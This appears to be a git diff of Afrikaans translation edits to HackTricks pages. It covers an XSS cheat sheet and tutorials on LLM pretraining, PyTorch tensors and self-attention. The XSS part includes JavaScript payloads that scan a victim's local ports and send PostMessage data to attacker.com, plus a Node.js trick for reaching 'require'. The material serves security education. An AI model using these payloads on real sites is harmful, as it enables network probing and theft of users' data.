(function (exports, require, module, __filename, __dirname) {
|
||||||
// our actual module code
|
// our actual module code
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om **`require`** te verkry:
|
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om **`require`** te benader:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -1006,7 +1006,7 @@ Daarom, as ons vanuit daardie module **'n ander funksie kan aanroep**, is dit mo
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fout hanteerders** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
|
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanterings** te gebruik om toegang te verkry tot die **wrapper** van die module en die **`require`** funksie te verkry:
|
||||||
```javascript
|
```javascript
|
||||||
try {
|
try {
|
||||||
null.f()
|
null.f()
|
||||||
|
@ -1183,7 +1183,7 @@ q.shift()();
|
||||||
```javascript
|
```javascript
|
||||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
|
||||||
```
|
```
|
||||||
### Port Scanner (websockets)
|
### Poort Skandeerder (websockets)
|
||||||
```python
|
```python
|
||||||
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
|
||||||
for(var i=0; i<ports.length; i++) {
|
for(var i=0; i<ports.length; i++) {
|
||||||
|
@ -1243,7 +1243,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
|
||||||
};
|
};
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Dief van PostMessage-boodskappe
|
### Steel PostMessage-boodskappe
|
||||||
```markup
|
```markup
|
||||||
<img src="https://attacker.com/?" id=message>
|
<img src="https://attacker.com/?" id=message>
|
||||||
<script>
|
<script>
|
||||||
|
@ -1257,7 +1257,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
[abusing-service-workers.md](abusing-service-workers.md)
|
[abusing-service-workers.md](abusing-service-workers.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Toegang tot Skadu DOM
|
### Toegang tot Skadu-DOM
|
||||||
|
|
||||||
{% content-ref url="shadow-dom.md" %}
|
{% content-ref url="shadow-dom.md" %}
|
||||||
[shadow-dom.md](shadow-dom.md)
|
[shadow-dom.md](shadow-dom.md)
|
||||||
|
@ -1267,7 +1267,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||||
|
|
||||||
### Blinde XSS lasbriewe
|
### Blinde XSS-payloads
|
||||||
|
|
||||||
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```markup
|
```markup
|
||||||
|
@ -1311,7 +1311,7 @@ Jy kan ook gebruik maak van: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```
|
```
|
||||||
### Regex - Toegang tot Verborgen Inhoud
|
### Regex - Toegang tot Verborgen Inhoud
|
||||||
|
|
||||||
Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende objekte te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
Van [**hierdie skrywe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) is dit moontlik om te leer dat selfs al verdwyn sommige waardes uit JS, dit steeds moontlik is om hulle in JS-attribuut in verskillende voorwerpe te vind. Byvoorbeeld, 'n invoer van 'n REGEX is steeds moontlik om dit te vind nadat die waarde van die invoer van die regex verwyder is:
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1351,7 +1351,7 @@ Meer inligting oor hierdie tegniek hier: [**XSLT**](../xslt-server-side-injectio
|
||||||
|
|
||||||
### XSS in dinamies geskepte PDF
|
### XSS in dinamies geskepte PDF
|
||||||
|
|
||||||
As 'n webblad 'n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die **bot** wat die PDF skep te **mislei** om **arbitraire JS-kode** te **uit te voer**.\
|
As 'n webblad 'n PDF skep met behulp van gebruikersbeheerde invoer, kan jy probeer om die **bot te mislei** wat die PDF skep om **arbitraire JS-kode** te **uit te voer**.\
|
||||||
As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
|
As die **PDF-skeppende bot** 'n soort **HTML** **tags** vind, gaan dit dit **interpreteer**, en jy kan hierdie gedrag **misbruik** om 'n **Server XSS** te veroorsaak.
|
||||||
|
|
||||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||||
|
@ -1366,7 +1366,7 @@ As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer
|
||||||
|
|
||||||
### XSS in Amp4Email
|
### XSS in Amp4Email
|
||||||
|
|
||||||
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, beskikbaar via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
AMP, wat daarop gemik is om die webbladprestasie op mobiele toestelle te versnel, sluit HTML-tags in wat aangevul word deur JavaScript om funksionaliteit te verseker met 'n fokus op spoed en sekuriteit. Dit ondersteun 'n reeks komponente vir verskeie funksies, toeganklik via [AMP-komponente](https://amp.dev/documentation/components/?format=websites).
|
||||||
|
|
||||||
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
|
Die [**AMP vir E-pos**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formaat brei spesifieke AMP-komponente uit na e-posse, wat ontvangers in staat stel om direk met inhoud binne hul e-posse te interaksie.
|
||||||
|
|
||||||
|
@ -1446,23 +1446,23 @@ Find **meer SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking loopbaan** and hack the unhackable - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiende Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) or the [**telegram groep**](https://t.me/peass) or **volg** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking triks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## Vooropleiding
|
## Vooropleiding
|
||||||
|
|
||||||
Vooropleiding is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verwerf die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model fyn-afgestem word, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
|
Vooropleiding is die grondslag fase in die ontwikkeling van 'n groot taalmodel (LLM) waar die model blootgestel word aan groot en diverse hoeveelhede teksdata. Tydens hierdie fase, **leer die LLM die fundamentele strukture, patrone, en nuanses van taal**, insluitend grammatika, woordeskat, sintaksis, en kontekstuele verhoudings. Deur hierdie uitgebreide data te verwerk, verkry die model 'n breë begrip van taal en algemene wêreldkennis. Hierdie omvattende basis stel die LLM in staat om samehangende en kontekstueel relevante teks te genereer. Vervolgens kan hierdie vooropgeleide model ondergaan fyn-afstemming, waar dit verder opgelei word op gespesialiseerde datastelle om sy vermoëns aan te pas vir spesifieke take of domeine, wat sy prestasie en relevansie in geteikende toepassings verbeter.
|
||||||
|
|
||||||
## Hoof LLM komponente
|
## Hoof LLM komponente
|
||||||
|
|
||||||
|
@ -10,10 +10,10 @@ Gewoonlik word 'n LLM gekarakteriseer deur die konfigurasie wat gebruik word om
|
||||||
|
|
||||||
* **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
|
* **Parameters**: Parameters is die **leerbare gewigte en vooroordele** in die neurale netwerk. Dit is die getalle wat die opleidingsproses aanpas om die verliesfunksie te minimaliseer en die model se prestasie op die taak te verbeter. LLMs gebruik gewoonlik miljoene parameters.
|
||||||
* **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
|
* **Kontekslengte**: Dit is die maksimum lengte van elke sin wat gebruik word om die LLM voor te oefen.
|
||||||
* **Inbedigingsdimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
|
* **Embedding Dimensie**: Die grootte van die vektor wat gebruik word om elke token of woord voor te stel. LLMs gebruik gewoonlik biljoene dimensies.
|
||||||
* **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
|
* **Verborge Dimensie**: Die grootte van die verborge lae in die neurale netwerk.
|
||||||
* **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
|
* **Aantal Lae (Diepte)**: Hoeveel lae die model het. LLMs gebruik gewoonlik tientalle lae.
|
||||||
* **Aantal Aandagkoppe**: In transformermodelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
|
* **Aantal Aandagkoppe**: In transformator modelle, dit is hoeveel aparte aandagmeganismes in elke laag gebruik word. LLMs gebruik gewoonlik tientalle koppe.
|
||||||
* **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede word 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.
|
* **Dropout**: Dropout is iets soos die persentasie data wat verwyder word (waarskynlikhede word 0) tydens opleiding wat gebruik word om **oorpassing te voorkom.** LLMs gebruik gewoonlik tussen 0-20%.
|
||||||
|
|
||||||
Konfigurasie van die GPT-2 model:
|
Konfigurasie van die GPT-2 model:
|
||||||
|
@ -41,14 +41,14 @@ In PyTorch, 'n **tensor** is 'n fundamentele datastruktuur wat dien as 'n multi-
|
||||||
|
|
||||||
### Tensors as Data Containers
|
### Tensors as Data Containers
|
||||||
|
|
||||||
Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datastelle in masjienleer take.
|
Vanuit 'n rekenkundige perspektief, funksioneer tensors as houers vir multi-dimensionele data, waar elke dimensie verskillende kenmerke of aspekte van die data kan voorstel. Dit maak tensors hoogs geskik vir die hantering van komplekse datasets in masjienleer take.
|
||||||
|
|
||||||
### PyTorch Tensors vs. NumPy Arrays
|
### PyTorch Tensors vs. NumPy Arrays
|
||||||
|
|
||||||
Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksies wat noodsaaklik is vir diep leer:
|
Terwyl PyTorch tensors soortgelyk is aan NumPy arrays in hul vermoë om numeriese data te stoor en te manipuleer, bied hulle addisionele funksionaliteite wat noodsaaklik is vir diep leer:
|
||||||
|
|
||||||
* **Automatic Differentiation**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
|
* **Automatic Differentiation**: PyTorch tensors ondersteun outomatiese berekening van gradiënte (autograd), wat die proses van die berekening van afgeleides wat benodig word vir die opleiding van neurale netwerke vereenvoudig.
|
||||||
* **GPU Acceleration**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat grootliks die spoed van groot skaal berekeninge versnel.
|
* **GPU Acceleration**: Tensors in PyTorch kan na en op GPU's beweeg en bereken word, wat groot-skaal berekeninge aansienlik versnel.
|
||||||
|
|
||||||
### Creating Tensors in PyTorch
|
### Creating Tensors in PyTorch
|
||||||
|
|
||||||
|
@ -101,7 +101,7 @@ print(tensor2d.shape) # Uitset: torch.Size([2, 2])
|
||||||
```python
|
```python
|
||||||
reshaped = tensor2d.reshape(4, 1)
|
reshaped = tensor2d.reshape(4, 1)
|
||||||
```
|
```
|
||||||
* **Transposering van Tensors**: Gebruik `.T` om 'n 2D tensor te transponer.
|
* **Transposisie van Tensors**: Gebruik `.T` om 'n 2D tensor te transponeren.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
transposed = tensor2d.T
|
transposed = tensor2d.T
|
||||||
|
@ -117,7 +117,7 @@ result = tensor2d @ tensor2d.T
|
||||||
Tensors is noodsaaklik in PyTorch vir die bou en opleiding van neurale netwerke:
|
Tensors is noodsaaklik in PyTorch vir die bou en opleiding van neurale netwerke:
|
||||||
|
|
||||||
* Hulle stoor invoerdata, gewigte, en vooroordele.
|
* Hulle stoor invoerdata, gewigte, en vooroordele.
|
||||||
* Hulle fasiliteer operasies wat vereis word vir vorentoe en agtertoe passasies in opleidingsalgoritmes.
|
* Hulle fasiliteer operasies wat vereis word vir vorentoe en agtertoe oorgange in opleidingsalgoritmes.
|
||||||
* Met autograd, stel tensors outomatiese berekening van gradiënte moontlik, wat die optimaliseringsproses stroomlyn.
|
* Met autograd, stel tensors outomatiese berekening van gradiënte moontlik, wat die optimaliseringsproses stroomlyn.
|
||||||
|
|
||||||
## Outomatiese Differensiasie
|
## Outomatiese Differensiasie
|
||||||
|
@ -128,11 +128,11 @@ Outomatiese differensiasie (AD) is 'n berekeningstegniek wat gebruik word om **d
|
||||||
|
|
||||||
**1. Die Kettingreël**
|
**1. Die Kettingreël**
|
||||||
|
|
||||||
In die hart van outomatiese differensiasie is die **kettingreël** van kalkulus. Die kettingreël stel dat as jy 'n samestelling van funksies het, die afgeleide van die saamgestelde funksie die produk van die afgeleides van die saamgestelde funksies is.
|
In die hart van outomatiese differensiasie is die **kettingreël** van calculus. Die kettingreël stel dat as jy 'n samestelling van funksies het, die afgeleide van die saamgestelde funksie die produk van die afgeleides van die saamgestelde funksies is.
|
||||||
|
|
||||||
Wiskundig, as `y=f(u)` en `u=g(x)`, dan is die afgeleide van `y` ten opsigte van `x`:
|
Wiskundig, as `y=f(u)` en `u=g(x)`, dan is die afgeleide van `y` ten opsigte van `x`:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**2. Berekening Grafiek**
|
**2. Berekening Grafiek**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ In AD, word berekeninge voorgestel as knope in 'n **berekening grafiek**, waar e
|
||||||
|
|
||||||
Kom ons oorweeg 'n eenvoudige funksie:
|
Kom ons oorweeg 'n eenvoudige funksie:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Waar:
|
Waar:
|
||||||
|
|
||||||
|
@ -273,7 +273,7 @@ Tydens die terugwaartse pas:
|
||||||
|
|
||||||
* PyTorch traverseer die berekeningsgrafiek in omgekeerde volgorde.
|
* PyTorch traverseer die berekeningsgrafiek in omgekeerde volgorde.
|
||||||
* Vir elke operasie, pas dit die kettingreël toe om gradiënte te bereken.
|
* Vir elke operasie, pas dit die kettingreël toe om gradiënte te bereken.
|
||||||
* Gradiënte word in die `.grad` attribuut van elke parameter tensor geakkumuleer.
|
* Gradiënte word in die `.grad` eienskap van elke parameter tensor geakkumuleer.
|
||||||
|
|
||||||
### **6. Advantages of Automatic Differentiation**
|
### **6. Advantages of Automatic Differentiation**
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,7 @@
|
||||||
Aandagmeganismes laat neurale netwerke toe om op spesifieke dele van die invoer te f**okus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar die begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
Aandagmeganismes laat neurale netwerke toe om op spesifieke dele van die invoer te f**okus wanneer hulle elke deel van die uitvoer genereer**. Hulle ken verskillende gewigte aan verskillende invoere toe, wat die model help om te besluit watter invoere die relevantste is vir die taak wat voorlê. Dit is van kardinale belang in take soos masjienvertaling, waar die begrip van die konteks van die hele sin noodsaaklik is vir akkurate vertaling.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
|
Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandagmeganismes toe**. Dit gaan baie **herhalende lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM te train, vasvang**.\
|
||||||
Daar word baie lae hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
|
Daar word baie lae hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ In tradisionele volgorde-tot-volgorde modelle wat vir taalvertaling gebruik word
|
||||||
|
|
||||||
#### Voorbeeld: Masjienvertaling
|
#### Voorbeeld: Masjienvertaling
|
||||||
|
|
||||||
Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammaticale strukture tussen tale. 'n Aandagmeganisme stel die model in staat om op relevante dele van die invoersin te fokus wanneer dit elke woord van die uitvoersin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.
|
Oorweeg om die Duitse sin "Kannst du mir helfen diesen Satz zu übersetzen" in Engels te vertaal. 'n Woord-vir-woord vertaling sou nie 'n grammatikaal korrekte Engelse sin lewer nie weens verskille in grammatikaal strukture tussen tale. 'n Aandagmeganisme stel die model in staat om op relevante dele van die invoersin te fokus wanneer dit elke woord van die uitvoersin genereer, wat lei tot 'n meer akkurate en samehangende vertaling.
|
||||||
|
|
||||||
### Inleiding tot Self-Aandag
|
### Inleiding tot Self-Aandag
|
||||||
|
|
||||||
|
@ -51,7 +51,7 @@ Vir elke woord in die sin, bereken die **aandagpunt** ten opsigte van "shiny" de
|
||||||
|
|
||||||
**Aandagpunt tussen "shiny" en "shiny"**
|
**Aandagpunt tussen "shiny" en "shiny"**
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Aandagpunt tussen "sun" en "shiny"**
|
**Aandagpunt tussen "sun" en "shiny"**
|
||||||
|
|
||||||
|
@ -87,23 +87,23 @@ Berekening van aandaggewigte:
|
||||||
Neem net elke aandaggewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies om net 1 vektor (die konteksvektor) te kry.
|
Neem net elke aandaggewig en vermenigvuldig dit met die verwante token dimensies en som dan al die dimensies om net 1 vektor (die konteksvektor) te kry.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Die **konteksvektor** word bereken as die gewigte som van die inbedings van al die woorde, met behulp van die aandaggewigte.
|
Die **konteksvektor** word bereken as die gewogen som van die inbedings van al die woorde, met behulp van die aandaggewigte.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Berekening van elke komponent:
|
Berekening van elke komponent:
|
||||||
|
|
||||||
* **Gewigte Inbeding van "Hello"**:
|
* **Gewogen Inbeding van "Hello"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Gewigte Inbeding van "shiny"**:
|
* **Gewogen Inbeding van "shiny"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
* **Gewigte Inbeding van "sun"**:
|
* **Gewogen Inbeding van "sun"**:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Som die gewigte inbedings:
|
Som die gewogen inbedings:
|
||||||
|
|
||||||
`konteksvektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
`konteksvektor=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||||
|
|
||||||
|
@ -117,28 +117,28 @@ Som die gewigte inbedings:
|
||||||
|
|
||||||
## Self-Aandag met Opleibare Gewigte
|
## Self-Aandag met Opleibare Gewigte
|
||||||
|
|
||||||
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewig matrikse:
|
In praktyk gebruik self-aandagmeganismes **opleibare gewigte** om die beste voorstellings vir navrae, sleutels en waardes te leer. Dit behels die bekendstelling van drie gewigmatrices:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matrikse bloot ewekansige-opleibare matrikse is.
|
Die navraag is die data om soos voorheen te gebruik, terwyl die sleutels en waardes matriks bloot ewekansige-opleibare matriks is.
|
||||||
|
|
||||||
#### Stap 1: Bereken Navrae, Sleutels, en Waardes
|
#### Stap 1: Bereken Navrae, Sleutels, en Waardes
|
||||||
|
|
||||||
Elke token sal sy eie navraag, sleutel en waarde matriks hê deur sy dimensiewaarde met die gedefinieerde matrikse te vermenigvuldig:
|
Elke token sal sy eie navraag, sleutel en waardematris hê deur sy dimensiewaarde met die gedefinieerde matriks te vermenigvuldig:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Hierdie matrikse transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
|
Hierdie matriks transformeer die oorspronklike inbedings in 'n nuwe ruimte wat geskik is vir die berekening van aandag.
|
||||||
|
|
||||||
**Voorbeeld**
|
**Voorbeeld**
|
||||||
|
|
||||||
Aannemend:
|
Aanvaar:
|
||||||
|
|
||||||
* Invoer dimensie `din=3` (inbeding grootte)
|
* Invoerdimensie `din=3` (inbedinggrootte)
|
||||||
* Uitvoer dimensie `dout=2` (gewens dimensie vir navrae, sleutels, en waardes)
|
* Uitvoerdimensie `dout=2` (gewens dimensie vir navrae, sleutels, en waardes)
|
||||||
|
|
||||||
Inisialiseer die gewig matrikse:
|
Inisialiseer die gewigmatrices:
|
||||||
```python
|
```python
|
||||||
import torch.nn as nn
|
import torch.nn as nn
|
||||||
|
|
||||||
|
@ -159,18 +159,18 @@ values = torch.matmul(inputs, W_value)
|
||||||
|
|
||||||
**Bereken Aandag Punte**
|
**Bereken Aandag Punte**
|
||||||
|
|
||||||
Soos in die vorige voorbeeld, maar hierdie keer, in plaas daarvan om die waardes van die dimensies van die tokens te gebruik, gebruik ons die sleutel matriks van die token (wat reeds bereken is met behulp van die dimensies):. So, vir elke navraag `qi` en sleutel `kj`:
|
